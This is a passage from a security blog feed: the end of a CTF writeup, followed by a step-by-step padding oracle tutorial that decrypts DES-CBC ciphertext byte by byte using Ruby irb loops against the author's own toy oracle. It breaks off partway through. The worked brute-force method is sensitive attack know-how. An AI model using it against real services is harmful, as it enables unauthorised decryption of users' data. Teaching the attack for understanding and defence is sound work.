<p>I realize this was an extremely long writeup, for an extremely elaborate level. It took a long time to solve, and I was exceptionally proud. Did I mention that, at 450 points, it was the most valuable flag in the entire competition?</p>
<p>Just to go over what I had to overcome:</p>
<ul>
<li>Anti-debugging</li>
<li>Anti-reversing (obfuscation)</li>
<li>More code obfuscation</li>
<li>A series of "letter n is between x and y" type solutions, instead of actual "this letter is z" solutions</li>
<li>Crazy checksums that, it turns out, used Fibonacci sequences (I never did reverse them)</li>
</ul>
<p>And that's cnot in a nutshell. Thanks for reading!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.skullsecurity.org/blog/2013/epic-cnot-writeup-plaidctf/feed</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>A padding oracle example</title>
		<link>http://www.skullsecurity.org/blog/2013/a-padding-oracle-example</link>
		<comments>http://www.skullsecurity.org/blog/2013/a-padding-oracle-example#comments</comments>
		<pubDate>Mon, 07 Jan 2013 15:40:52 +0000</pubDate>
		<dc:creator>Ron Bowes</dc:creator>
				<category><![CDATA[Crypto]]></category>
		<category><![CDATA[Hacking]]></category>

		<guid isPermaLink="false">http://www.skullsecurity.org/blog/?p=1459</guid>
		<description><![CDATA[Early last week, I posted a blog about padding oracle attacks. I explained them in detail, as simply as I could (without making diagrams, I suck at diagrams). I asked on Reddit about how I could make it easier to understand, and JoseJimeniz suggested working through an example. I thought that was a neat idea, [...]]]></description>
			<content:encoded><![CDATA[<style type="text/css">
<!--
pre { font-family: monospace; color: #c0c0c0; background-color: #000040; }
.lnr { color: #90f020; }
.Type { color: #60ff60; }
.Special { color: #ffa500; }
.PreProc { color: #ff80ff; }
.Constant { color: #ffa0a0; }
-->
</style>
<p>Early last week, I <a href='http://www.skullsecurity.org/blog/2013/padding-oracle-attacks-in-depth'>posted a blog</a> about padding oracle attacks. I explained them in detail, as simply as I could (without making diagrams, I suck at diagrams). I asked on Reddit about how I could make it easier to understand, and <a href='http://www.reddit.com/r/crypto/comments/15u0to/an_indepth_look_at_padding_oracle_attacks_for/c7q3636'>JoseJimeniz suggested working through an example</a>. I thought that was a neat idea, and working through a padding oracle attack by hand seems like a fun exercise!</p>
<p>(Having done it already and writing this introduction afterwards, I can assure you that it isn't as fun as I thought it'd be :) )</p>
<p>I'm going to assume that you've read <a href='http://www.skullsecurity.org/blog/2013/padding-oracle-attacks-in-depth'>my previous blog</a> all the way through, and jump right into things!</p>
<h2>The setup</h2>
<p>As an example, let's assume we're using DES, since it has nice short block sizes. We'll use the following variables:</p>
<pre>
  P   = Plaintext (with the padding added)
  P<sub>n</sub>  = The n<sup>th</sup> block of plaintext
  N   = The number of blocks of either plaintext or ciphertext (the number is the same)
  IV  = Initialization vector
  E() = Encrypt, using a given key (we don't notate the key for reasons of simplicity)
  D() = Decrypt, using the same key as E()
  C   = Ciphertext
  C<sub>n</sub>  = The n<sup>th</sup> block of ciphertext
</pre>
<p>We use the following values for the variables:</p>
<pre>
  P   = "Hello World\x05\x05\x05\x05\x05"
  P<sub>1</sub>  = "Hello Wo"
  P<sub>2</sub>  = "rld\x05\x05\x05\x05\x05"
  N   = 2
  IV  = "\x00\x00\x00\x00\x00\x00\x00\x00"
  E() = des-cbc with the key "mydeskey"
  D() = des-cbc with the key "mydeskey"
  C   = "\x83\xe1\x0d\x51\xe6\xd1\x22\xca\x3f\xaf\x08\x9c\x7a\x92\x4a\x7b"
  C<sub>1</sub>  = "\x83\xe1\x0d\x51\xe6\xd1\x22\xca"
  C<sub>2</sub>  = "\x3f\xaf\x08\x9c\x7a\x92\x4a\x7b"
</pre>
<p>For what it's worth, I generated the ciphertext like this:</p>
<pre>
  irb(main):<span class="Constant">001</span>:<span class="Constant">0</span>&gt;; <span class="PreProc">require</span> <span class="Special">'</span><span class="Constant">openssl</span><span class="Special">'</span>
  irb(main):<span class="Constant">002</span>:<span class="Constant">0</span>&gt;; c = <span class="Type">OpenSSL</span>::<span class="Type">Cipher</span>::<span class="Type">Cipher</span>.new(<span class="Special">'</span><span class="Constant">des-cbc</span><span class="Special">'</span>)
  irb(main):<span class="Constant">003</span>:<span class="Constant">0</span>&gt;; c.encrypt
  irb(main):<span class="Constant">004</span>:<span class="Constant">0</span>&gt;; c.key = <span class="Special">&quot;</span><span class="Constant">mydeskey</span><span class="Special">&quot;</span>
  irb(main):<span class="Constant">005</span>:<span class="Constant">0</span>&gt;; c.iv = <span class="Special">&quot;</span><span class="Special">\x00\x00\x00\x00\x00\x00\x00\x00</span><span class="Special">&quot;</span>
  irb(main):<span class="Constant">006</span>:<span class="Constant">0</span>&gt;; data = c.update(<span class="Special">&quot;</span><span class="Constant">Hello World</span><span class="Special">&quot;</span>) + c.final
  irb(main):<span class="Constant">007</span>:<span class="Constant">0</span>&gt;; data.unpack(<span class="Special">&quot;</span><span class="Constant">H*</span><span class="Special">&quot;</span>)
  =&gt; [<span class="Special">&quot;</span><span class="Constant">83e10d51e6d122ca3faf089c7a924a7b</span><span class="Special">&quot;</span>]
</pre>
<p>Now that we have our variables, let's get started!</p>
<h3>Creating an oracle</h3>
<p>As I explained in my previous blog, this attack relies on having a decryption oracle that'll return a true/false value depending on whether or not the decryption operation succeeded. Here's a workable oracle that, albeit unrealistic, will be a perfect demonstration:</p>
<pre>
  irb(main):<span class="Constant">012</span>:<span class="Constant">0</span>&gt; <span class="PreProc">def</span> <span class="Identifier">try_decrypt</span>(data)
  irb(main):<span class="Constant">013</span>:<span class="Constant">1</span>&gt;   <span class="Statement">begin</span>
  irb(main):<span class="Constant">014</span>:<span class="Constant">2</span>&gt;     c = <span class="Type">OpenSSL</span>::<span class="Type">Cipher</span>::<span class="Type">Cipher</span>.new(<span class="Special">'</span><span class="Constant">des-cbc</span><span class="Special">'</span>)
  irb(main):<span class="Constant">015</span>:<span class="Constant">2</span>&gt;     c.decrypt
  irb(main):<span class="Constant">016</span>:<span class="Constant">2</span>&gt;     c.key = <span class="Special">&quot;</span><span class="Constant">mydeskey</span><span class="Special">&quot;</span>
  irb(main):<span class="Constant">017</span>:<span class="Constant">2</span>&gt;     c.iv = <span class="Special">&quot;</span><span class="Special">\x00\x00\x00\x00\x00\x00\x00\x00</span><span class="Special">&quot;</span>
  irb(main):018:<span class="Constant">2</span>&gt;     c.update(data)
  irb(main):019:<span class="Constant">2</span>&gt;     c.final
  irb(main):<span class="Constant">020</span>:<span class="Constant">2</span>&gt;     <span class="Statement">return</span> <span class="Constant">true</span>
  irb(main):<span class="Constant">021</span>:<span class="Constant">2</span>&gt;   <span class="Statement">rescue</span> <span class="Type">OpenSSL</span>::<span class="Type">Cipher</span>::<span class="Type">CipherError</span>
  irb(main):<span class="Constant">022</span>:<span class="Constant">2</span>&gt;     <span class="Statement">return</span> <span class="Constant">false</span>
  irb(main):<span class="Constant">023</span>:<span class="Constant">2</span>&gt;   <span class="Statement">end</span>
  irb(main):<span class="Constant">024</span>:<span class="Constant">1</span>&gt; <span class="PreProc">end</span>
</pre>
<p>As you can see, it returns true if we send C:</p>
<pre>
  irb(main):<span class="Constant">025</span>:<span class="Constant">0</span>&gt; try_decrypt(<span class="Special">&quot;</span><span class="Special">\x83\xe1\x0d\x51\xe6\xd1\x22\xca\x3f\xaf\x08\x9c\x7a
  \x92\x4a\x7b</span><span class="Special">&quot;</span>)
  =&gt; <span class="Constant">true</span>
</pre>
<p>And false if we flip the last bit of C (effectively changing the padding):</p>
<pre>
  irb(main):<span class="Constant">026</span>:<span class="Constant">0</span>&gt; try_decrypt(<span class="Special">&quot;</span><span class="Special">\x83\xe1\x0d\x51\xe6\xd1\x22\xca\x3f\xaf\x08\x9c\x7a
   \x92\x4a\x7a</span><span class="Special">&quot;</span>)
  =&gt; <span class="Constant">false</span>
</pre>
<p>Now we have our data, our encrypted data, and a simple oracle. Let's get to work!</p>
<h2>Breaking the last character</h2>
<p>Now, let's start with breaking the second block of ciphertext, C<sub>2</sub>. The first thing we do is create our own block of ciphertext &mdash; C&prime; &mdash; which has no particular plaintext value:</p>
<pre>
  C&prime; = "\x00\x00\x00\x00\x00\x00\x00\x00"
</pre>
<p>In reality, we can use any value, but all zeroes makes it easier to demonstrate. We concatenate C<sub>2</sub> to that block, giving us:</p>
<pre>
  C&prime; || C<sub>2</sub> = "\x00\x00\x00\x00\x00\x00\x00\x00\x3f\xaf\x08\x9c\x7a\x92\x4a\x7b"
</pre>
<p>We now have a two-block string of ciphertext. <em>When you send that string to the oracle, the oracle will, following the <a href='https://en.wikipedia.org/wiki/File:Cbc_decryption.png'>cipher-block chaining</a> standard: a) decrypt the second block, b) XOR the decrypted block with the ciphertext block that we control, and c) check the padding on the resulting block and fail if it's wrong</em>. Read that sentence a couple times. If you need to know one thing to understand padding oracles, it's that.</p>
<p>Let me repeat and rephrase, to make sure it's clear: We send two blocks of ciphertext, one we control (C&prime;) and one we want to decrypt (C<sub>2</sub>). The one we want to decrypt (C<sub>2</sub>) is decrypted (secretly) by the server, XORed with the block we control (C&prime;), then the resulting plaintext's padding is validated. That means that <em>we know whether or not <strong>our ciphertext</strong> XORed with <strong>their plaintext</strong> has proper padding</em>. That gives us enough information to decrypt the entire string, one character after the other!</p>
<p>This will, of course, work for blocks other than C<sub>2</sub> (which I notate as C<sub>n</sub> in the previous blog). I'm using C<sub>2</sub> because I'm working through a concrete example.</p>
<p>So, we generate that string (C&prime; || C<sub>2</sub>). We send that to our decryption oracle, and should return a false result (unless we hit the 1/256 chance of getting the padding right at random, which we don't):</p>
<pre>
  irb(main):<span class="Constant">027</span>:<span class="Constant">0</span>&gt; try_decrypt(<span class="Special">&quot;</span><span class="Special">\x00\x00\x00\x00\x00\x00\x00\x00\x3f\xaf\x08\x9c
   \x7a\x92\x4a\x7b</span><span class="Special">&quot;</span>)
  =&gt; <span class="Constant">false</span>
</pre>
<p>Now, keep in mind that this isn't decrypting to anything remotely useful! It's decrypting to a garbage string, and all that matters to us is whether or not the padding is correct, because that, thanks to a beautiful formula, tells us something about the plaintext.</p>
<p>Let's now focus on just the last character of C&prime;. Before we get to the math, let's find the value for the last byte of C&prime; &mdash; C&prime;[8] &mdash; that returns valid padding, using a simple ruby script:</p>
<pre>
  irb(main):<span class="Constant">067</span>:<span class="Constant">0</span>&gt; <span class="Constant">0</span>.upto(<span class="Constant">255</span>) <span class="Statement">do</span> |<span class="Identifier">i</span>|
  irb(main):068:<span class="Constant">1</span>*   cprime = <span class="Special">&quot;</span><span class="Special">\x00\x00\x00\x00\x00\x00\x00</span><span class="Special">#{</span>i.chr<span class="Special">}</span><span class="Special">&quot;</span> +
   <span class="Special">&quot;</span><span class="Special">\x3f\xaf\x08\x9c\x7a\x92\x4a\x7b</span><span class="Special">&quot;</span>
  irb(main):069:<span class="Constant">1</span>&gt;   puts(<span class="Special">&quot;</span><span class="Special">#{</span>i<span class="Special">}</span><span class="Constant">: </span><span class="Special">#{</span>cprime.unpack(<span class="Special">&quot;</span><span class="Constant">H*</span><span class="Special">&quot;</span>)<span class="Special">}</span><span class="Constant">: </span><span class="Special">#{</span>try_decrypt(cprime)<span class="Special">}</span><span class="Special">&quot;</span>)
  irb(main):<span class="Constant">070</span>:<span class="Constant">1</span>&gt; <span class="Statement">end</span>
  <span class="Constant">0</span>: 00000000000000003<span class="Constant">faf089c7a924a7b</span>: <span class="Constant">false</span>
  <span class="Constant">1</span>: 00000000000000013<span class="Constant">faf089c7a924a7b</span>: <span class="Constant">false</span>
  <span class="Constant">2</span>: 00000000000000023<span class="Constant">faf089c7a924a7b</span>: <span class="Constant">false</span>
  <span class="Constant">3</span>: 00000000000000033<span class="Constant">faf089c7a924a7b</span>: <span class="Constant">false</span>
  <span class="Constant">4</span>: 00000000000000043<span class="Constant">faf089c7a924a7b</span>: <span class="Constant">false</span>
  <span class="Constant">5</span>: 00000000000000053<span class="Constant">faf089c7a924a7b</span>: <span class="Constant">false</span>
  <span class="Constant">6</span>: 00000000000000063<span class="Constant">faf089c7a924a7b</span>: <span class="Constant">false</span>
  <span class="Constant">7</span>: 00000000000000073<span class="Constant">faf089c7a924a7b</span>: <span class="Constant">false</span>
  ...
  <span class="Constant">203</span>: 00000000000000<span class="Constant">cb3faf089c7a924a7b</span>: <span class="Constant">false</span>
  <span class="Constant">204</span>: 00000000000000<span class="Constant">cc3faf089c7a924a7b</span>: <span class="Constant">false</span>
  <span class="Constant">205</span>: 00000000000000<span class="Constant">cd3faf089c7a924a7b</span>: <span class="Constant">false</span>
  <span class="Constant">206</span>: 00000000000000<span class="Constant">ce3faf089c7a924a7b</span>: <span class="Constant">true</span>   &lt;--
  <span class="Constant">207</span>: 00000000000000<span class="Constant">cf3faf089c7a924a7b</span>: <span class="Constant">false</span>
  <span class="Constant">208</span>: 00000000000000<span class="Constant">d03faf089c7a924a7b</span>: <span class="Constant">false</span>
  ...
</pre>
<p>So what did we learn here? That when C&prime;[8] is 206 &mdash; 0xce &mdash; it decrypts to something that ends with the byte "\x01". We can see what it's decrypting to by using some more ruby code (note that this isn't possible in a normal attack, since we don't have access to the key, this is simply used as a demonstration):</p>
<pre>
  irb(main):<span class="Constant">075</span>:<span class="Constant">0</span>&gt; puts (c.update(<span class="Special">&quot;</span><span class="Special">\x00\x00\x00\x00\x00\x00\x00\xce\x3f\xaf\x08\x9c
  \x7a\x92\x4a\x7b</span><span class="Special">&quot;</span>) + c.final).unpack(<span class="Special">&quot;</span><span class="Constant">H*</span><span class="Special">&quot;</span>)
  62047db89b8144b8f18d6954e3d427
</pre>
<p>Note that this string is 15 characters long, and doesn't end with \x01. Why? Because the "\x01" on the end was considered to be padding by the library and removed. OpenSSL doesn't return padding to the programmer &mdash; why would it?</p>
<p>We refer to this garbage string as P&prime;, and it's not useful to us in any way, except for the padding byte that the server validates. In fact, since the server is decrypting the string secretly, we never even have access to P&prime;.</p>
<p>(For what it's worth, P&prime; is actually equal to the original block of plaintext (P<sub>2</sub>) XORed with the previous block of ciphertext (C<sub>1</sub>) and XORed with our ciphertext block (C&prime;). If you work through the math, you'll discover why).</p>
<h3>The math</h3>
<p>Recall from my previous blog that the second block of our new plaintext value &mdash; P&prime;<sub>2</sub> &mdash; is calculated like this:</p>
<pre>
  P&prime;<sub>2</sub> = D(C<sub>2</sub>) ⊕ C&prime;
</pre>
<p>That is, the second block of P&prime; &mdash; our newly and secretly decrypted string &mdash; is equal to the second block of the ciphertext decrypted, then XORed with C&prime;.</p>
<p>But C<sub>2</sub> was originally calculated like this:</p>
<pre>
  C<sub>2</sub> = E(P<sub>2</sub> ⊕ C<sub>1</sub>)
</pre>
<p>In other words, the second block of ciphertext is the second block of plaintext XORed with the first block of ciphertext, then encrypted.</p>
<p>We can substitute C<sub>2</sub> in the first formula with C<sub>2</sub> in the second formula, which results in this:</p>
<pre>
  P&prime;<sub>2</sub> = D(E(P<sub>2</sub> ⊕ C<sub>1</sub>)) ⊕ C&prime;
</pre>
<p>So, the server calculates P<sub>2</sub> XORed with C<sub>1</sub>, then encrypts it, decrypts it, and XORs it with C&prime;. But the encryption and decryption cancel out (D(E(x)) = x, by definition), so we can reduce the formula to this:</p>
<pre>
  P&prime;<sub>2</sub> = P<sub>2</sub> ⊕ C<sub>1</sub> ⊕ C&prime;
</pre>
<p>So P&prime;<sub>2</sub> &mdash; the value whose padding we're trying to discover &mdash; is the second block of plaintext XORed with the first block of ciphertext, XORed with our ciphertext (C&prime;).</p>
<p>What do we know about P&prime;<sub>2</sub>? Well, once we discover the proper padding value, the server knows that the value of P&prime;<sub>2</sub> is "\xf1\x8d\x69\x54\xe3\xd4\x27\x01". Unfortunately, all we know is that the padding is correct, and that P&prime;<sub>2</sub>[8] = "\x01". But, since we know the value of P&prime;<sub>2</sub>[8], we know enough to calculate P<sub>2</sub>[8]! Here's the calculation:</p>
<pre>
  P&prime;<sub>2</sub>[8] = P<sub>2</sub>[8] ⊕ C<sub>1</sub>[8] ⊕ C&prime;[8]
  (re-arrange using XOR's commutative property):
  P<sub>2</sub>[8] = P&prime;<sub>2</sub>[8] ⊕ C<sub>1</sub>[8] ⊕ C&prime;[8]
  P<sub>2</sub>[8] = 0x01 ⊕ 0xca ⊕ 0xce
  P<sub>2</sub>[8] = 5
</pre>
<p>Holy crap! 5 is the last byte of padding! We just broke the last byte of plaintext!</p>
<p>The value we know for P<sub>2</sub> is "???????\x05"</p>
<h2>Second-last byte...</h2>
<p>Now, to calculate the second-last byte, we need a new P&prime;. We want the last byte of P&prime; to decrypt to 0x02 (so that our padding will wind up as "\x02\x02" once we bruteforce the second-last byte), so we use this formula from earlier:</p>
<pre>
  P&prime;<sub>2</sub>[k] = P<sub>2</sub>[k] ⊕ C<sub>1</sub>[k] ⊕ C&prime;[k]
</pre>
<p>And re-arrange it:</p>
<pre>
  C&prime;[k] = P&prime;<sub>2</sub>[k] ⊕ P<sub>2</sub>[k] ⊕ C<sub>1</sub>[k]
</pre>
<p>Then plug in the values we determined for P<sub>2</sub>[8] ⊕ C<sub>1</sub>[8], and the value we desire for P&prime;<sub>2</sub>[8]:</p>
<pre>
  C&prime;[8] = P&prime;<sub>2</sub>[8] ⊕ P<sub>2</sub>[8] ⊕ C<sub>1</sub>[8]
  C&prime;[8] = 0x02 ⊕ 0x05 ⊕ 0xca
  C&prime;[8] = 0xcd
</pre>
<p>Now we have the last character of C&prime;: 0xcd. We use the same loop from earlier, except guessing C&prime;[7] instead of C&prime;[8]:</p>
<pre>
  irb(main):<span class="Constant">076</span>:<span class="Constant">0</span>&gt; <span class="Constant">0</span>.upto(<span class="Constant">255</span>) <span class="Statement">do</span> |<span class="Identifier">i</span>|
  irb(main):<span class="Constant">077</span>:<span class="Constant">1</span>&gt;   cprime = <span class="Special">&quot;</span><span class="Special">\x00\x00\x00\x00\x00\x00</span><span class="Special">#{</span>i.chr<span class="Special">}</span><span class="Special">\xcd</span><span class="Special">&quot;</span> +
  <span class="Special">&quot;</span><span class="Special">\x3f\xaf\x08\x9c\x7a\x92\x4a\x7b</span><span class="Special">&quot;</span>
  irb(main):078:<span class="Constant">1</span>&gt;   puts(<span class="Special">&quot;</span><span class="Special">#{</span>i<span class="Special">}</span><span class="Constant">: </span><span class="Special">#{</span>cprime.unpack(<span class="Special">&quot;</span><span class="Constant">H*</span><span class="Special">&quot;</span>)<span class="Special">}</span><span class="Constant">: </span><span class="Special">#{</span>try_decrypt(cprime)<span class="Special">}</span><span class="Special">&quot;</span>)
  irb(main):079:<span class="Constant">1</span>&gt; <span class="Statement">end</span>
  ...
  <span class="Constant">36</span>: 00000000000024<span class="Constant">cd3faf089c7a924a7b</span>: <span class="Constant">false</span>
  <span class="Constant">37</span>: 00000000000025<span class="Constant">cd3faf089c7a924a7b</span>: <span class="Constant">true</span>
  <span class="Constant">38</span>: 00000000000026<span class="Constant">cd3faf089c7a924a7b</span>: <span class="Constant">false</span>
  ...
</pre>
<p>All right, now we know that when C&prime;[7] = 0x25, P&prime;<sub>2</sub>[7] = 0x02! Plug that back into our formula:</p>
<pre>
  P<sub>2</sub>[7] = P&prime;<sub>2</sub>[7] ⊕ C<sub>1</sub>[7] ⊕ C&prime;[7]
  P<sub>2</sub>[7] = 0x02 ⊕ 0x22 ⊕ 0x25
  P<sub>2</sub>[7] = 5
</pre>
<p>Boom! Now we know that the second-last character of P<sub>2</sub> is 5.</p>
<p>The value we know for P<sub>2</sub> is "??????\x05\x05"</p>
<h2>Third-last character</h2>
<p>Let's keep going! First, we calculate C&prime;[7] and C&prime;[8] such that P&prime; will end with "\x03\x03":</p>
<pre>
  C&prime;[k] = P&prime;<sub>2</sub>[k] ⊕ P<sub>2</sub>[k] ⊕ C<sub>1</sub>[k]

  C&prime;[8] = P&prime;<sub>2</sub>[8] ⊕ P<sub>2</sub>[8] ⊕ C<sub>1</sub>[8]
  C&prime;[8] = 0x03 ⊕ 0x05 ⊕ 0xca
  C&prime;[8] = 0xcc

  C&prime;[7] = P&prime;<sub>2</sub>[7] ⊕ P<sub>2</sub>[7] ⊕ C<sub>1</sub>[7]
  C&prime;[7] = 0x03 ⊕ 0x05 ⊕ 0x22
  C&prime;[7] = 0x24
</pre>
<p>And run our program (modified a bit to just show us what's interesting):</p>
<pre>
  irb(main):088:<span class="Constant">0</span>&gt; <span class="Constant">0</span>.upto(<span class="Constant">255</span>) <span class="Statement">do</span> |<span class="Identifier">i</span>|
  irb(main):089:<span class="Constant">1</span>&gt;   cprime = <span class="Special">&quot;</span><span class="Special">\x00\x00\x00\x00\x00</span><span class="Special">#{</span>i.chr<span class="Special">}</span><span class="Special">\x24\xcc</span><span class="Special">&quot;</span> +
  <span class="Special">&quot;</span><span class="Special">\x3f\xaf\x08\x9c\x7a\x92\x4a\x7b</span><span class="Special">&quot;</span>
  irb(main):090:<span class="Constant">1</span>&gt;   puts(<span class="Special">&quot;</span><span class="Special">#{</span>i<span class="Special">}</span><span class="Constant">: </span><span class="Special">#{</span>cprime.unpack(<span class="Special">&quot;</span><span class="Constant">H*</span><span class="Special">&quot;</span>)<span class="Special">}</span><span class="Special">&quot;</span>) <span class="Statement">if</span>(try_decrypt(cprime))
  irb(main):091:<span class="Constant">1</span>&gt; <span class="Statement">end</span>
  <span class="Constant">215</span>: 0000000000d724cc3faf089c7a924a7b
</pre>
<p>And back to our formula:</p>
<pre>
  P<sub>2</sub>[6] = P&prime;<sub>2</sub>[6] ⊕ C<sub>1</sub>[6] ⊕ C&prime;[6]
  P<sub>2</sub>[6] = 0x03 ⊕ 0xd1 ⊕ 0xd7
  P<sub>2</sub>[6] = 5
</pre>
<p>The value we know for P<sub>2</sub> is "?????\x05\x05\x05"</p>
<h2>Fourth-last character</h2>
<p>Calculate the C&prime; values for \x04\x04\x04:</p>
<pre>
  C&prime;[k] = P&prime;<sub>2</sub>[k] ⊕ P<sub>2</sub>[k] ⊕ C<sub>1</sub>[k]

  C&prime;[8] = P&prime;<sub>2</sub>[8] ⊕ P<sub>2</sub>[8] ⊕ C<sub>1</sub>[8]
  C&prime;[8] = 0x04 ⊕ 0x05 ⊕ 0xca
  C&prime;[8] = 0xcb

  C&prime;[7] = P&prime;<sub>2</sub>[7] ⊕ P<sub>2</sub>[7] ⊕ C<sub>1</sub>[7]
  C&prime;[7] = 0x04 ⊕ 0x05 ⊕ 0x22
  C&prime;[7] = 0x23

  C&prime;[6] = P&prime;<sub>2</sub>[6] ⊕ P<sub>2</sub>[6] ⊕ C<sub>1</sub>[6]
  C&prime;[6] = 0x04 ⊕ 0x05 ⊕ 0xd1
  C&prime;[6] = 0xd0
</pre>
<p>And our program:</p>
<pre>
  irb(main):092:<span class="Constant">0</span>&gt; <span class="Constant">0</span>.upto(<span class="Constant">255</span>) <span class="Statement">do</span> |<span class="Identifier">i</span>|
  irb(main):093:<span class="Constant">1</span>&gt;   cprime = <span class="Special">&quot;</span><span class="Special">\x00\x00\x00\x00</span><span class="Special">#{</span>i.chr<span class="Special">}</span><span class="Special">\xd0\x23\xcb</span><span class="Special">&quot;</span> +
  <span class="Special">&quot;</span><span class="Special">\x3f\xaf\x08\x9c\x7a\x92\x4a\x7b</span><span class="Special">&quot;</span>
  irb(main):094:<span class="Constant">1</span>&gt;   puts(<span class="Special">&quot;</span><span class="Special">#{</span>i<span class="Special">}</span><span class="Constant">: </span><span class="Special">#{</span>cprime.unpack(<span class="Special">&quot;</span><span class="Constant">H*</span><span class="Special">&quot;</span>)<span class="Special">}</span><span class="Special">&quot;</span>) <span class="Statement">if</span>(try_decrypt(cprime))
  irb(main):095:<span class="Constant">1</span>&gt; <span class="Statement">end</span>
  <span class="Constant">231</span>: 00000000e7d023cb3faf089c7a924a7b
</pre>
<p>And breaking it:</p>
<pre>
  P<sub>2</sub>[5] = P&prime;<sub>2</sub>[5] ⊕ C<sub>1</sub>[5] ⊕ C&prime;[5]
  P<sub>2</sub>[5] = 0x04 ⊕ 0xe6 ⊕ 0xe7
  P<sub>2</sub>[5] = 5
</pre>
<p>The value we know for P<sub>2</sub> is "????\x05\x05\x05\x05"</p>
<h2>Fifth-last character</h2>
<p>Time for the last padding character! Calculate C&prime; values for \x05\x05\x05\x05:</p>
<pre>
  C&prime;[k] = P&prime;<sub>2</sub>[k] ⊕ P<sub>2</sub>[k] ⊕ C<sub>1</sub>[k]

  C&prime;[8] = P&prime;<sub>2</sub>[8] ⊕ P<sub>2</sub>[8] ⊕ C<sub>1</sub>[8]
  C&prime;[8] = 0x05 ⊕ 0x05 ⊕ 0xca
  C&prime;[8] = 0xca

  C&prime;[7] = P&prime;<sub>2</sub>[7] ⊕ P<sub>2</sub>[7] ⊕ C<sub>1</sub>[7]
  C&prime;[7] = 0x05 ⊕ 0x05 ⊕ 0x22
  C&prime;[7] = 0x22

  C&prime;[6] = P&prime;<sub>2</sub>[6] ⊕ P<sub>2</sub>[6] ⊕ C<sub>1</sub>[6]
  C&prime;[6] = 0x05 ⊕ 0x05 ⊕ 0xd1
  C&prime;[6] = 0xd1

  C&prime;[5] = P&prime;<sub>2</sub>[5] ⊕ P<sub>2</sub>[5] ⊕ C<sub>1</sub>[5]
  C&prime;[5] = 0x05 ⊕ 0x05 ⊕ 0xe6
  C&prime;[5] = 0xe6
</pre>
<p>Run the program:</p>
<pre>
  irb(main):096:<span class="Constant">0</span>&gt; <span class="Constant">0</span>.upto(<span class="Constant">255</span>) <span class="Statement">do</span> |<span class="Identifier">i</span>|
  irb(main):097:<span class="Constant">1</span>*   cprime = <span class="Special">&quot;</span><span class="Special">\x00\x00\x00</span><span class="Special">#{</span>i.chr<span class="Special">}</span><span class="Special">\xe6\xd1\x22\xca</span><span class="Special">&quot;</span> +
 <span class="Special">&quot;</span><span class="Special">\x3f\xaf\x08\x9c\x7a\x92\x4a\x7b</span><span class="Special">&quot;</span>
  irb(main):098:<span class="Constant">1</span>&gt;   puts(<span class="Special">&quot;</span><span class="Special">#{</span>i<span class="Special">}</span><span class="Constant">: </span><span class="Special">#{</span>cprime.unpack(<span class="Special">&quot;</span><span class="Constant">H*</span><span class="Special">&quot;</span>)<span class="Special">}</span><span class="Special">&quot;</span>) <span class="Statement">if</span>(try_decrypt(cprime))
  irb(main):099:<span class="Constant">1</span>&gt; <span class="Statement">end</span>
  <span class="Constant">81</span>: 00000051e6d122ca3faf089c7a924a7b
</pre>
<p>And break the character:</p>
<pre>
  P<sub>2</sub>[4] = P&prime;<sub>2</sub>[4] ⊕ C<sub>1</sub>[4] ⊕ C&prime;[4]
  P<sub>2</sub>[4] = 0x05 ⊕ 0x51 ⊕ 0x51
  P<sub>2</sub>[4] = 5
</pre>
<p>The value we know for P<sub>2</sub> is "???\x05\x05\x05\x05\x05"</p>
<h2>Sixth-last character</h2>
<p>Only three to go! Calculate C&prime; for \x06\x06\x06\x06\x06:</p>
<pre>
  C&prime;[k] = P&prime;<sub>2</sub>[k] ⊕ P<sub>2</sub>[k] ⊕ C<sub>1</sub>[k]

  C&prime;[8] = P&prime;<sub>2</sub>[8] ⊕ P<sub>2</sub>[8] ⊕ C<sub>1</sub>[8]
  C&prime;[8] = 0x06 ⊕ 0x05 ⊕ 0xca
  C&prime;[8] = 0xc9

  C&prime;[7] = P&prime;<sub>2</sub>[7] ⊕ P<sub>2</sub>[7] ⊕ C<sub>1</sub>[7]
  C&prime;[7] = 0x06 ⊕ 0x05 ⊕ 0x22
  C&prime;[7] = 0x21

  C&prime;[6] = P&prime;<sub>2</sub>[6] ⊕ P<sub>2</sub>[6] ⊕ C<sub>1</sub>[6]
  C&prime;[6] = 0x06 ⊕ 0x05 ⊕ 0xd1
  C&prime;[6] = 0xd2

  C&prime;[5] = P&prime;<sub>2</sub>[5] ⊕ P<sub>2</sub>[5] ⊕ C<sub>1</sub>[5]
  C&prime;[5] = 0x06 ⊕ 0x05 ⊕ 0xe6
  C&prime;[5] = 0xe5

  C&prime;[4] = P&prime;<sub>2</sub>[4] ⊕ P<sub>2</sub>[4] ⊕ C<sub>1</sub>[4]
  C&prime;[4] = 0x06 ⊕ 0x05 ⊕ 0x51
  C&prime;[4] = 0x52
</pre>
<p>Run the program:</p>
<pre>
  irb(main):<span class="Constant">100</span>:<span class="Constant">0</span>&gt; <span class="Constant">0</span>.upto(<span class="Constant">255</span>) <span class="Statement">do</span> |<span class="Identifier">i</span>|
  irb(main):<span class="Constant">101</span>:<span class="Constant">1</span>*   cprime = <span class="Special">&quot;</span><span class="Special">\x00\x00</span><span class="Special">#{</span>i.chr<span class="Special">}</span><span class="Special">\x52\xe5\xd2\x21\xc9</span><span class="Special">&quot;</span> +
  <span class="Special">&quot;</span><span class="Special">\x3f\xaf\x08\x9c\x7a\x92\x4a\x7b</span><span class="Special">&quot;</span>
  irb(main):<span class="Constant">102</span>:<span class="Constant">1</span>&gt;   puts(<span class="Special">&quot;</span><span class="Special">#{</span>i<span class="Special">}</span><span class="Constant">: </span><span class="Special">#{</span>cprime.unpack(<span class="Special">&quot;</span><span class="Constant">H*</span><span class="Special">&quot;</span>)<span class="Special">}</span><span class="Special">&quot;</span>) <span class="Statement">if</span>(try_decrypt(cprime))
  irb(main):<span class="Constant">103</span>:<span class="Constant">1</span>&gt; <span class="Statement">end</span>
  <span class="Constant">111</span>: 00006f52e5d221c93faf089c7a924a7b
</pre>
<p>Break the character:</p>
<pre>
  P<sub>2</sub>[3] = P&prime;<sub>2</sub>[3] ⊕ C<sub>1</sub>[3] ⊕ C&prime;[3]
  P<sub>2</sub>[3] = 0x06 ⊕ 0x0d ⊕ 0x6f
  P<sub>2</sub>[3] = 0x64 = "d"
</pre>
<p>The value we know for P<sub>2</sub> is "??d\x05\x05\x05\x05\x05"</p>
<h2>Two left!</h2>
<p>Only two left! Time to calculate C&prime; for "\x07\x07\x07\x07\x07\x07":</p>
<pre>
